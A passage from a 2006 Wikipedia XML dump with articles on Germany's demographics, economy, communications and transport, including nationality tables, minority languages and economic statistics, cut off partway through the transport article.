Largest groups of Germans: Hessians, &quot;Prussians&quot; and others

Largest groups of foreigners: Turks, Greeks, US-Americans

== Ethnic groups ==

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;float:right; margin-left:15px;margin-bottom:15px;empty-cells:show; &quot;
|+'''Nationalities in Germany''' (Dec 31, 2004)
|----
|[[Germans]] 
| align=&quot;right&quot;|75.212.900&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
| valign=&quot;top&quot; |legal alien residents
| valign=&quot;top&quot; align=&quot;right&quot;|7.288.000&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Turkish people|Turks]] 
| align=&quot;right&quot; | 1.764.300&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Italians]] 
| align=&quot;right&quot; | 548.200&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Serbs]] 
| align=&quot;right&quot; | 507.328&amp;nbsp;&lt;sup&gt;4&lt;/sup&gt;
|----
|[[Greeks]] 
| align=&quot;right&quot; | 316.000&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Polish people|Poles]] 
| align=&quot;right&quot; | 292.100&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Croatians]] 
| align=&quot;right&quot; | 229.200&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Russians]] 
| align=&quot;right&quot; | 179.000&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Austrians]] 
| align=&quot;right&quot; | 174.000&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Bosnians]] 
| align=&quot;right&quot; | 156.000&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Ukrainians]] 
| align=&quot;right&quot; | 128.100&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Portuguese people|Portugueses]] 
| align=&quot;right&quot; | 116.700&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Dutch people|Dutchmen]] 
| align=&quot;right&quot; | 114.100&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Spaniards]] 
| align=&quot;right&quot; | 108.300&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[French people|Frenchmen]] 
| align=&quot;right&quot; | 100.500&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Americans]] 
| align=&quot;right&quot; | 96.600&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Britons]] 
| align=&quot;right&quot; | 95.900&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Vietnamese people|Vietnamese]] 
| align=&quot;right&quot; | 83.500&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Romanians]] 
| align=&quot;right&quot; | 73.400&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Maroccans]] 
| align=&quot;right&quot; | 73.000&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Chinese people|Chinese]] 
| align=&quot;right&quot; | 71.600&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Iranians]] 
| align=&quot;right&quot; | 100.000 (Quelle Isoplan)&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Macedonian]]s 
| align=&quot;right&quot; | 100.000&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Afghans]] 
| align=&quot;right&quot; | 57.900&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Hungarians]] 
| align=&quot;right&quot; | 47.800&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Libaneses]] 
| align=&quot;right&quot; | 40.900&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Bulgarians]] 
| align=&quot;right&quot; | 39.200&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Czechs]]&amp;nbsp;&lt;sup&gt;3&lt;/sup&gt;
| align=&quot;right&quot; | 38.800&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[India]]ns 
| align=&quot;right&quot; | 38.900&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Swiss people|Swiss]] 
| align=&quot;right&quot; | 35.400&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Sri Lankians]] 
| align=&quot;right&quot; | 60.000&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Pakistanis]] 
| align=&quot;right&quot; | 30.900&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Tunesians]] 
| align=&quot;right&quot; | 22.400&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Belgians]] 
| align=&quot;right&quot; | 21.800&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Slowenes]] 
| align=&quot;right&quot; | 21.000&amp;nbsp;&lt;sup&gt;1&lt;/sup&gt;
|----
|[[Ghanians]] 
| align=&quot;right&quot; | 20.600&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Slovaks]] 
| align=&quot;right&quot; | 20.200&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Danes]] 
| align=&quot;right&quot; | 18.000&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Swedes]] 
| align=&quot;right&quot; | 16.200&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Algerians]] 
| align=&quot;right&quot; | 14.500&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Lithuanians]] 
| align=&quot;right&quot; | 14.700&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Finns]] 
| align=&quot;right&quot; | 13.100&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Albanians]] 
| align=&quot;right&quot; | 10.500&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Irishmen]] 
| align=&quot;right&quot; | 10.000&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
|[[Luxembourgers]] 
| align=&quot;right&quot; | 6.800&amp;nbsp;&lt;sup&gt;2&lt;/sup&gt;
|----
| colspan=&quot;2&quot; style=&quot;font-size:80%&quot; |Sources: &lt;sup&gt;1&lt;/sup&gt;&amp;nbsp;[http://www.destatis.de/basis/d/bevoe/bevoetab4.php destatis]
&lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;[http://www.destatis.de/basis/d/bevoe/bevoetab10.php destatis].&lt;br&gt; 
&lt;sup&gt;3&lt;/sup&gt;&amp;nbsp;Including 8500 Persons with old &lt;br&gt;''Czechoslovakian'' citizenship&lt;/br&gt;
&lt;sup&gt;4&lt;/sup&gt;&amp;nbsp;Including people from former Yugoslavia, who registered as&lt;/br&gt;
Yugoslavians before the country broke up.
|}
The official statistics collect only nationality data: [[Germans]] 91.5%, [[Turkish people|Turks]] 2.4%, other 6.1% (made up largely of [[Serbs]], [[Croats]], [[Bosniaks]], [[Italians]], [[Russians]], [[Greeks]], and [[Poles]]).

While most of the German citizens are ethnic Germans or naturalized immigrants, there are four other sizable groups of people that have lived in Germany for centuries. They are referred to as &quot;national minorities&quot; (''nationale Minderheiten''): [[Danes]], [[Frisians]], [[Roma and Sinti]], and [[Sorbs]].

There is a [[Denmark|Danish]] minority (about 50,000, according to government sources) in the most northern-most state of [[Schleswig-Holstein]]. 

Eastern and Northern [[Frisians]] (60,000 inhabitants define themselves as &quot;Frisians&quot;) live at Schleswig-Holstein's western coast, and in the north-western part of [[Lower Saxony]]. They are part of a wider community ([[Frisia]]) stretching from Germany to the northern [[Netherlands]].

The [[Sorbs]], a [[Slavic people]] with about 60,000 members, are located in the [[Lusatia]] region of [[Saxony]] and [[Brandenburg]]. They are the last remnants of the Slavs that lived in central and eastern Germany since the [[7th century]].

[[Roma people]] have been in Germany since the [[Middle Ages]]. They were persecuted by the [[Nazis]], and thousands of Roma living in Germany were killed by the Nazi regime. Nowadays, they are spread all over Germany, mostly living in major cities. It is difficult to estimate their exact number, as the Germany government normally does not keep information on the ethnicity of its citizens. There are also many assimilated Sinti and Roma. A vague figure given by the German Department of the Interior is about 70,000. In the [[1990s]], many Roma moved to Germany from former [[Yugoslavia]]. In contrast to the old-established Roma population, the majority of them do not have German citizenship, they are classified as [[immigrants]] or [[refugee]]s.

Since the [[1960]]s, ethnic Germans from the [[Soviet Union]] came to Germany, especially from [[Kazakhstan]], [[Russia]], and [[Ukraine]].
During the time of [[Perestroika]], and after the dissolution of the [[Soviet Union]], the number of immigrants increased heavily.

Germany now has Europe's third-largest [[Jews|Jewish]] population. In [[2004]], twice as many Jews from former [[Soviet Union|Soviet]] republics settled in Germany as in [[Israel]], bringing the total inflow to more than 200,000 since [[1991]]. Jews have a voice in German public life through the [[Zentralrat der Juden in Deutschland]].

There are also around 500,000 &quot;[[Afro-Germans]]&quot;.

''See also:'' [[Volga German]]

== East-West Migration ==

[[Image:Mk Bevölkerung Bundesländer.png|left|200px]]
With unification on [[October 3]], [[1990]], Germany began the major task of bringing the standard of living of Germans in the former [[German Democratic Republic]] (GDR) up to that of western Germany. This will be a lengthy and difficult process due to the relative inefficiency of industrial enterprises in the former GDR, difficulties in resolving property ownership in eastern Germany, and the inadequate infrastructure and environmental damage that resulted from decades of communist rule. Since reunification, hundreds of thousands of former East Germans have migrated into western Germany to find work. 

Drastic changes in the socioeconomic landscape brought about by reunification have resulted in troubling social problems. Economic uncertainty in eastern Germany is often cited as one factor contributing to extremist violence, primarily from the political right. Confusion about the causes of the current hardships and a need to place blame have found expression in harassment and violence by some Germans directed toward foreigners, particularly non-Europeans. The vast majority of Germans condemn such violence.


== Immigration ==
[[Image:Mk Zuwanderer.png|right|200px]]
''see main article'' [[Immigration to Germany]]

Due to its high standard of living Germany is attracting vast groups of people from all over the world and is a classical immigration country. Because of Germanys aging population the country depends on immigration is however restructuring it with a directed immigration law.

== Religions ==

Roman Catholic 32.1%, Lutheran 31.8%,  Muslim 4.5%, Jewish 0.1%, unaffiliated or other 31.5% (2002)

Roman Catholic is mainly in the South East (Southern [[Bavaria]]) and the Very West ([[Rheinland]] &amp; [[Cologne]]). Strongholds of Protestants are in all Northern and Eastern Federal States. Muslim and Jews minority communities are mainly in the big cities.

== Languages ==
[[German language|German]] is Germany's only official and most-widely spoken language. [[Standard German]] is understood all over the country, while [[dialect]]s &amp;mdash; which can be quite distinct from the standard language &amp;mdash; are still in use in everyday speech, especially in rural regions. In contrast to [[France]] speakers with regional dialects and accents are generally not frowned on or interpreted as uneducated.

[[English language|English]] is the most popular foreign language.
In secondary education (in some regions even earlier), it is taught as the first foreign language almost everywhere. Other languages taught at schools are [[French language|French]], [[Italian language|Italian]], [[Spanish language|Spanish]], and [[Russian language|Russian]]. [[Dutch language|Dutch]] is taught in [[counties]] bordering the [[Netherlands]]. [[Latin]] and [[Greek language|Greek]] are part of the syllabus of [[classical education]] which is offered by some secondary schools.

According to a [[2004]] survey, two thirds of Germany's citizens have at least basic knowledge of English. About 20% consider themselves as speakers of French, followed by those of Russian (18%), Italian (6.1%), and Spanish (5.6%). The high number of Russian speakers is a result of the [[GDR]]'s close relation to the Soviet Union &amp;mdash; more than half of the Germans in the East speak Russian, compared to 5.5% in the western part of the country (a big part of them is also originaly from the East).

[[Danish language|Danish]], [[Low German]], [[Sorbian]], and [[Frisian]] are officially recognized and protected as minority languages per the [[European Charter for Regional or Minority Languages]] in their respective regions.
As speakers of [[Romany]] are living in all parts of Germany, the federal government has promised to take action to protect the language. Until now, [[Hesse]] is the only ''Land'' that has followed Berlin's announcement and implemented concrete measures to support speakers of Romany.

{{start box}}
|+ Protected Minority Languages in Germany
|-
! Language                                       !! States
|-
|[[Danish language|Danish]]                      || [[Schleswig-Holstein]]
|-
|[[North Frisian language|North Frisian]]        || [[Schleswig-Holstein]]
|-
|[[Saterland Frisian language|Saterland Frisian]]|| [[Lower Saxony]]
|-
|[[Low German]]                                  || [[Bremen (state)|Bremen]], [[Hamburg]], [[Mecklenburg-Vorpommern]], [[Lower Saxony]], [[Schleswig-Holstein]]
|-
|[[Upper Sorbian language|Upper Sorbian]]        || [[Saxony]]
|-
|[[Lower Sorbian language|Lower Sorbian]]        || [[Brandenburg]]
|-
|[[Romany]]                                      || [[Hesse]] (see text)
{{end box}}

== Literacy ==
Over 99% of those of age 15 and above are estimated to be able to read and write.

==Statistics ==

Age structure (2003):
0-14 years: 14.7%
15-64 years: 67.3%
65 years and over: 18%

Population growth rate: 0.0% (2004)

Birth rate: 8.56 births/1,000 population (2003)

Death rate: 10.35 deaths/1,000 population (2003)

Net migration rate: 4.01 migrant(s)/1,000 population (2000 est.)

Sex ratio:
{{start box}}
|-
|at birth:
|1.06 male(s)/female
|-
|under 15 years:
|1.05 male(s)/female
|-
|15-64 years:
|1.03 male(s)/female
|-
|65 years and over:
|0.62 male(s)/female
|-
|total population:
|0.96 male(s)/female (2000 est.)
{{end box}}

Infant mortality rate: 4.2 deaths (within one year) per 1,000 live births (2003)

Life expectancy at birth (2001):
{{start box}}
|-
|total population:
|78.29 years
|-
|male:
|75.59 years
|-
|female:
|81.34 years
{{end box}}

Total fertility rate: 1.42 children born/woman (2004)


== External Links ==






{{commons|Demographie Deutschlands}}

[[Category:Demographics by country|Germany]]
[[Category:Geography of Germany]]
[[Category:German society]]
[[Category:Metropolitan areas of Germany| ]]

{{Link FA|he}}

[[de:Demografie Deutschlands]]
[[es:Demografía de Alemania]]
[[fr:Démographie de l'Allemagne]]
[[he:דמוגרפיה של גרמניה]]
[[pt:Demografia da Alemanha]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Germany</title>
    <id>11930</id>
    <revision>
      <id>42143779</id>
      <timestamp>2006-03-04T02:44:00Z</timestamp>
      <contributor>
        <username>Ksenon</username>
        <id>541820</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Economy of Germany table}}

[[Image:Frankfurt-Skyline-NilsJeppe.jpg|thumb|300px|[[Frankfurt]] is Germany's financial center]]
[[Image:Berlin-brandenburg-gate.jpg|thumb|300px|Since reunification, Germany faces low growth rates]]

'''[[Germany]]''' is one of the world's highest developed market '''[[Economics|economies]]'''. It is the world's third largest economy in [[United States dollar|USD]] [[exchange rate|exchange-rate]] terms, the fifth largest by [[purchasing power parity]] (PPP) and the largest economy in [[Europe]]. 

Recent performance has not been dynamic, however, and the German economy is marked by vulnerability to external shocks, domestic structural problems, and continued difficulties in fueling formerly [[Communism|communist]] [[East Germany]]. 

Germans describe their economic system as a &quot;[[social market economy]]&quot;. An extensive array of [[Social security|social services]] is provided. Although the state intervenes in the economy through the provision of [[subsidies]] to selected sectors and the ownership of some segments of the economy, competition and [[free enterprise]] are promoted as a matter of government policy.

== History ==

From the [[1948]] [[currency]] reform until the early [[1970]]s, West Germany experienced almost continuous economic expansion (''see also'': [[Wirtschaftswunder]]), but real [[Gross domestic product|GDP]] growth slowed and even declined from the mid-1970s through the [[recession]] of the early [[1980]]s. The economy then experienced eight consecutive years of growth that ended with a downturn beginning in late [[1992]]. Since [[German reunification|reunification]] in [[1990]], Germany has seen annual average real growth of only about 1.5% and stubbornly high [[unemployment]]. The best performance since reunification was registered in [[2000]], when real growth reached 3.0%. In [[2003]], Germany experienced a negative GDP growth about -0.1%. Estimated growth rate in [[2006]]: +2.0%.

{| {{prettytable}} border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
! align=&quot;right&quot; | Year
! align=&quot;center&quot; | GDP growth rate
|-
! align=&quot;center&quot; | 2002
| align=&quot;center&quot; | +0.2%
|-
! align=&quot;center&quot; | 2003
| align=&quot;center&quot; | -0.1%
|-
! align=&quot;center&quot; | 2004
| align=&quot;center&quot; | +1.6%
|-
! align=&quot;center&quot; | 2005
| align=&quot;center&quot; | +0.9%
|-
|}

== General view ==

The heart of the German economy is the [[industry sector]] (28.6% of GDP), though its share in GDP and the number of employees continue to decline. Since the late 1970s, most of the people work in the steadily growing [[service sector]] (70.3% of GDP), agriculture is of small importance (1.1% of GDP).

The German economy is heavily export-oriented, with exports accounting for more than one-third of [[national output]] (since spring 2003, Germany exports in absolute figures more goods than every other country). As a result, exports traditionally have been a key element in German macroeconomic expansion. Germany is a strong advocate of closer European economic integration, and its economic and commercial policies are increasingly determined by agreements among [[European Union]] (EU) members. Germany uses the common European currency, the [[Euro]], and its [[Monetary policy of central banks|monetary policy]] is set by the [[European Central Bank]].

Despite this external vulnerability, most foreign and German experts consider domestic structural problems to be mainly responsible for recent sluggish performance. They note that

*an inflexible [[labour market]] is a main cause of persistently high unemployment 
*the same is true for high non-wage labour costs
*heavy bureaucratic [[regulation]]s burden many businesses and the process of starting new businesses

Nevertheless, the export oriented economy is doing well (exports grew 50% during the last 5 years), the main problem is a weak home market, in part due to a low consumer confidence. Therefore, some experts believe that Germany's current trouble doesn't result from domestic structural problems, but from stagnating wages over more than a decade. Germany finances its reunification to a large extent by social insurance contributions, forcing up non-wage labour costs. To conserve the competitiveness of German workers, the unions abandon high wage claims since the mid-1990s.

More than ten years after the unification of the two German states, great progress has been made in raising the standard of living in eastern Germany, introducing a market economy and improving infrastructure there. At the same time, the process of convergence between East and West is taking longer than originally expected and, on some measures, has stagnated since the mid-1990s. Eastern economic growth rates have been slower than in the West in recent years, unemployment is twice as high, prompting many skilled easterners to seek work in the West, and productivity continues to lag. Eastern consumption levels are dependent on public net financial transfers from West to East totalling about $65 [[billion]] per year, or over 4% of the GDP of western Germany. The German news magazine &quot;[[Der Spiegel]]&quot; estimates the total reunification costs between 1990 and 2003 at €1.25 [[trillion]]. In addition to social assistance payments, the government plans to extend funds to promote eastern economic development through [[2019]].

== Industries ==

== Media &amp; Advertising ==

The German TV market is divided into two parts: Two publicly-funded television stations, [[ARD]] and [[ZDF]], and some private television stations, mainly [[RTL Television|RTL]] (owned by [[Bertelsmann]]), [[Sat.1]] and [[Pro7]].

[[Bild]] is Europe's best-selling newspaper, dominating the German [[tabloid]] market. The most important subscription newspapers are [[Süddeutsche Zeitung]] and [[Frankfurter Allgemeine Zeitung]], important news magazines are [[Der Spiegel]] and [[Der Stern]].

The German advertising industry grew in 2005 by about 5%, after several years of stagnation. The outlook on 2006 is good, not least because of [[FIFA World Cup]] 2006, that is hosted by Germany.

== Machinery, Cars &amp; Heavy Industry ==

[[BMW]]; [[Robert Bosch GmbH|Bosch]]; [[DaimlerChrysler]]; [[MAN AG|MAN]]; [[Porsche]]; [[ThyssenKrupp]]; [[Volkswagen]]

== High Tech &amp; Fine Mechanics ==

[[Deutsche Telekom]]; [[SAP]]; [[Siemens AG|Siemens]] 

== Chemical Industry and Pharmaceuticals ==

[[BASF]]; [[Bayer]]; [[Beiersdorf]]; [[Degussa]]; [[Henkel]]; [[Merck KGaA|Merck]]

== Tourism ==

[[Fair]] [[universities]] [[trade]]; [[Lufthansa]]; [[TUI AG|TUI]]

== Financial Services ==

[[Allianz]]; [[Commerzbank]]; [[Deutsche Bank]]; [[Dresdner Bank]]; [[Munich Re]]

== Trade ==

The [[United States]] is Germany's second-largest trading partner, and U.S.-German trade has continued to grow strongly. Two-way trade in goods and services totalled $88 billion in 2000. U.S. exports to Germany were $29.2 billion while U.S. imports from Germany were twice as high, $58.7 billion. At $29.5 billion, the U.S. [[trade deficit]] with Germany is the United States' fourth-largest, after the [[People's Republic of China]], [[Japan]], and [[Canada]]. Major U.S. export categories include [[aircraft]], electrical equipment, telecommunications equipment, data processing equipment, and motor vehicles and parts. German export sales are concentrated in motor vehicles, machinery, chemicals, and heavy electrical equipment. Much bilateral trade is intra-industry or intra-firm.

[[Aldi]]; [[Deutsche Post]]; [[Lidl]]; [[Metro AG|Metro]]

== Investments ==

Germany follows a [[liberalism|liberal]] policy toward foreign investment. From [[1995]] to [[1999]], annual average flows of U.S. direct investment in Germany were $3.4 billion, while those of German investors in the United States reached $21 billion. Americans accounted for 18% of all foreign direct investment in Germany during 1998-99, the third-largest source after [[France]] and the [[United Kingdom|UK]]. In terms of cumulative position (historical cost basis), German investment in the United States was valued at $111 billion in 1999, having more than doubled since 1995, while U.S. investment in Germany was worth just under $50 billion, having grown just 12% since 1995.

Despite persistence of structural rigidities in the labour market and extensive government regulation, the economy remains strong and internationally competitive, not least because of its highly skilled work force. Although production costs are high, Germany is still an export powerhouse. Additionally, Germany is strategically placed to take advantage of the rapidly growing central European countries. The current government has addressed some of the country's structural problems, with important tax, [[social security]], and financial-sector reforms. In the future, Germany faces further fundamental (and perhaps even more sweeping) economic adjustments to boost growth and job creation.

At the start of 2005, the seasonally adjusted number of registered unemployed persons initially showed another sharp increase. The considerable rise in the unemployment figures is largely due to the fact that former recipients of income support who now receive the new class-II unemployment benefit are registered as unemployed. This means that people who used to be numbered among the latent manpower reserve are now shown as registered unemployed persons. In particular, the labour-market statistics now include more unemployed young, older and low-skilled people. The unemployment rate peaked at [http://www.forbes.com/business/2005/03/08/cz_0308oxan_germany.html 12.6%] in March [[2005]], although it has gradually declined since then. Also, There are considerable regional differences in unemployment rates within Germany. The unemployment rate in eastern Germany, at 20.7%, is almost twice as high as the western figure of 10.4%, ''see'': [http://www.europa.eu.int/eures/main.jsp?catId=2641&amp;acro=lmi&amp;lang=en&amp;countryId=DE&amp;regionId=DE-NAT.com  Job mobility portal of the European Union].

==Other statistics==

&lt;!-- if possible, use the German government's destatis.de as source --&gt;
'''Investment (gross fixed):'''
17.6% of GDP (2004)

'''Household income or consumption by percentage share:'''
* ''lowest 10%:'' 3.6%
* ''highest 10%:'' 25.1% (1997)

'''Distribution of family income - [[Gini index]]:'''
28.3 (2000)

'''Agriculture - products:'''
potatoes, wheat, barley, sugar beets, fruit, cabbages; cattle, pigs, poultry

'''Industrial production growth rate:'''
2.2% (2004 est.)

'''Electricity:'''
* ''production:'' 560 [[TWh]] (2003)
* ''consumption:'' 519.5 TWh (2003)
* ''exports:'' 53.8 TWh (2003)
* ''imports:'' 45.8 TWh (2003)

'''Electricity - production by source:'''
* ''fossil fuel:'' 61.8%
* ''hydro:'' 4.2%
* ''other:'' 4.1% (2001)
* ''nuclear:'' 29.9%

'''Oil:'''
* ''production:'' 74,100 barrel/day (2003)
* ''consumption:'' 2.891 million barrel/day (2003)
* ''exports:'' 12,990 barrel/day (2003)
* ''imports:'' 2.135 million barrel/day (2003)
* ''proved reserves:'' 395.8 million barrel ([[1 January]] [[2004]])

'''Natural gas:'''
* ''production:'' 21 billion m³ (2003)
* ''consumption:'' 99.55 billion m³ (2003)
* ''exports:'' 7.731 billion m³ (2003)
* ''imports:'' 85.02 billion m³ (2003)
* ''proved reserves:'' 293 billion m³ ([[1 January]] [[2004]])

'''Private financial assets:'''
€4.07 trillion (2004)

'''Exports - commodities:'''
machinery, vehicles, chemicals, metals and manufactures, foodstuffs, textiles

'''Imports - commodities:'''
machinery, vehicles, chemicals, foodstuffs, textiles, metals

'''Reserves of foreign exchange &amp; gold:'''
$96.84 billion (2003)

'''Debt - external:'''
NA

'''Economic aid - donor:'''
ODA, $5.6 billion (1998)

'''Exchange rates:'''
*Euro:
:July 2005: 1.20 [[USD]] = 1 [[Euro|EUR]]
:January 2000: 0.99 [[USD]] = 1 [[Euro|EUR]]
:[[1999]]: 0.94 [[USD]] = 1 [[Euro|EUR]]
*Deutsche Mark:
:January 1999 1.69 [[USD]] = 1 [[DEM]]
:[[1998]] 1 [[USD]] = 1.76 [[DEM]]
:[[1997]] 1 [[USD]] = 1.73 [[DEM]]
:[[1996]] 1 [[USD]] = 1.50 [[DEM]]
:[[1995]] 1 [[USD]] = 1.43 [[DEM]]

==See also==

*[[Taxation in Germany]]
*[[German model]]
*[[Ordoliberalism]]
*[[Common Agricultural Policy]]
*[[Economy of Europe]]

== External links ==

*[http://www.oecd.org/germany/ OECD's Germany country Web site] and [http://www.oecd.org/eco/surveys/germany/ OECD Economic Survey of Germany]
*[http://www.destatis.de/e_home.htm Federal Statistical Office Germany]
*[http://www.germany-info.org/relaunch/business/trends/trends.html German Embassy, Economic Trends]
*[http://www.tatsachen-ueber-deutschland.de/811.0.html Federal Foreign Office] - Facts about Germany
*[http://www.acus.org/docs/0508-Germany_Future_Transatlantic_Economy.pdf Germany and the Future of the Transatlantic Economy, Policy Bulletin by the Atlantic Council of the U.S.]
*[http://europa.eu.int/comm/economy_finance/publications/economic_papers/2002/ecp170en.pdf Germany’s growth performance in the 1990’s] - Published by the [[European Commission]] and dealing with the influence of the reunification on German growth rates

{{EU countries}}
{{OECD}}
{{WTO}}

[[Category:Economy of Germany|!]]
[[Category:European Union member economies]]

[[de:Wirtschaft Deutschlands]]
[[es:Economía de Alemania]]
[[fr:Économie de l'Allemagne]]
[[he:כלכלת גרמניה]]
[[lt:Vokietijos ekonomika]]
[[nl:Economie van Duitsland]]
[[pt:Economia da Alemanha]]
[[vi:Kinh tế Đức]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Germany</title>
    <id>11931</id>
    <revision>
      <id>39184369</id>
      <timestamp>2006-02-11T07:58:16Z</timestamp>
      <contributor>
        <ip>222.153.86.27</ip>
      </contributor>
      <text xml:space="preserve">Instrumental in founding the [[Universal Postal Union]], Germany early on set standards for international communications and the development of an integrated internal system, which has developed with technological advances from land mail ([[Turn und Taxis]]), to [[Telegraphy|telegraph]], to modern-day telephone and [[satellite]] communications.

'''[[Telephone]]s - main lines in use:''' NA; 46.5 million main lines are installed (July 1999)

'''Telephones - mobile cellular:''' ca. 65 million (March 2003)

'''Telephone system:''' [[Germany]] has one of the world's most technologically advanced telecommunications systems.  As a result of intensive capital expenditures since reunification, the formerly backward system of the eastern part of the country has been modernized (becoming the world's best, except in comparison with metropolitan systems) and integrated with that of the western part.

Germany is served by an extensive domestic system of automatic telephone exchanges connected by modern networks of [[fiber-optic cable]], [[coaxial cable]], [[microwave]] radio relay, and a domestic [[satellite]] system.  [[Cellular telephone]] service is widely available and includes roaming service to many foreign countries.
international: satellite earth stations - 14 [[Intelsat]] (12 [[Atlantic Ocean]] and 2 [[Indian Ocean]]), 1 [[Eutelsat]], 1 Inmarsat (Atlantic Ocean region), 2 Intersputnik (1 Atlantic Ocean region and 1 Indian Ocean region); 7 submarine cable connections; 2 HF radiotelephone communication centers; tropospheric scatter links

'''Radio [[broadcasting|broadcast]] stations:''' AM 51, FM 767, shortwave 4 (1998)

'''Radios:''' 77.8 million (1997)

'''Television broadcast stations:''' 9,513 (including repeaters) (1998)

'''Televisions:''' 51.4 million (1998)

'''[[Internet Service Provider]]s (ISPs):''' 625 (1999)

'''Internet Users:'''
47,182,628 (2004)

'''[[Country code]]:''' DE

==External links==
*[http://www.deutschepost.de/dpag?xmlFile=828&amp;lang=de_EN Deutsche Post]
*[http://www.telekom3.de/en-p/home/cc-startseite.html Deutsche Telekom]

[[Category:Communications in Germany| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Germany</title>
    <id>11932</id>
    <revision>
      <id>38741251</id>
      <timestamp>2006-02-08T08:38:24Z</timestamp>
      <contributor>
        <ip>62.134.61.23</ip>
      </contributor>
      <comment>/* Metros */</comment>
      <text xml:space="preserve">==Road &amp; Automotive Transport==
[[Image:Autobahn 1-999.png|thumb|250px|Map of the German autobahn network]]
===Highways===
* Total: 656,140 km
* Paved: 650,891 km (including 11,400 km of expressways ([[autobahn]]s))
* Unpaved: 5,249 km (all-weather) (1998 est.)

===Automobiles===
*Total number of cars:   53,600,000
*Cars per 1,000 capita:         658

===Automobile Companies===
*[[Volkswagen]]
**[[Audi]]
**[[Bentley]]
**[[Bugatti]]
**[[Lamborghini]]
**[[Skoda]]
**[[Seat]]
**[[Volkswagen]]

*[[Daimler-Chrysler]]
**[[Mercedes Benz]]
***[[Maybach]]
**[[Chrysler]]
**[[Dodge]]
**[[Jeep]]
**[[Smart (automobile)|Smart]]

*Bayerische Motorenwerke (BMW)
**[[BMW]]
**[[Rolls Royce]]
**[[BMW MINI|MINI]]

*[[Porsche]]

===See also===
*[[List of motorways in Germany]]

==[[Rail transport]]==

[[Image:DeutscheBahn_gobeirne.jpg|thumb|250px|[[InterCity Express]] train, [[Stuttgart]].]]
'''Railways''':
* total: 40,826 km, including
* at least 14,253 km electrified and
* 14,768 km double- or multiple-tracked (1998)

[[Deutsche Bahn]] (DB) is the major German railway company. Though Deutsche Bahn is a private company, the government still holds all shares and therefore Deutsche Bahn can still be called a state-owned company.

Since its privatisation in 1994, Deutsche Bahn AG (DB AG) no longer publishes details of the tracks it owns; in addition to the DB AG system there are about 280 privately or locally owned railway companies which own an approximate 3,000 km to 4,000 km of the total tracks and use DB tracks in ''open access''.

There are significant differences between the financing of long-distance and short-distance (or local) trains in Germany. While long-distance trains can be run by any railway company, the companies also receive no subsidies from the government; instead, the long-distance trains must be self-supporting.  Local trains however are subsidized by the German states ''(Länder)'' which pay the operating companies to running these trains. This resulted in many private companies offering to run local train services as they can provide cheaper service than the state-owned Deutsche Bahn. Long-distance trains on the other side are primarily operated by Deutsche Bahn as the initial investment in rolling stock is a lot higher and not subsidized by the state. 

=== Rail links in adjacent countries ===

* [[Transportation in Denmark|Denmark]] - same gauge - voltage change [[15kVAC]]/[[25kVAC]]
* [[Transportation in Poland|Poland]] - same gauge - voltage change [[15kVAC]]/[[3000VDC]]
* [[Transportation in the Czech Republic|Czech Republic]] - same gauge - voltage change [[15kVAC]]/[[3000VDC]]
* [[Transportation in Austria|Austria]] - same gauge - same voltage
* [[Transportation in Switzerland|Switzerland]] - same gauge - same voltage
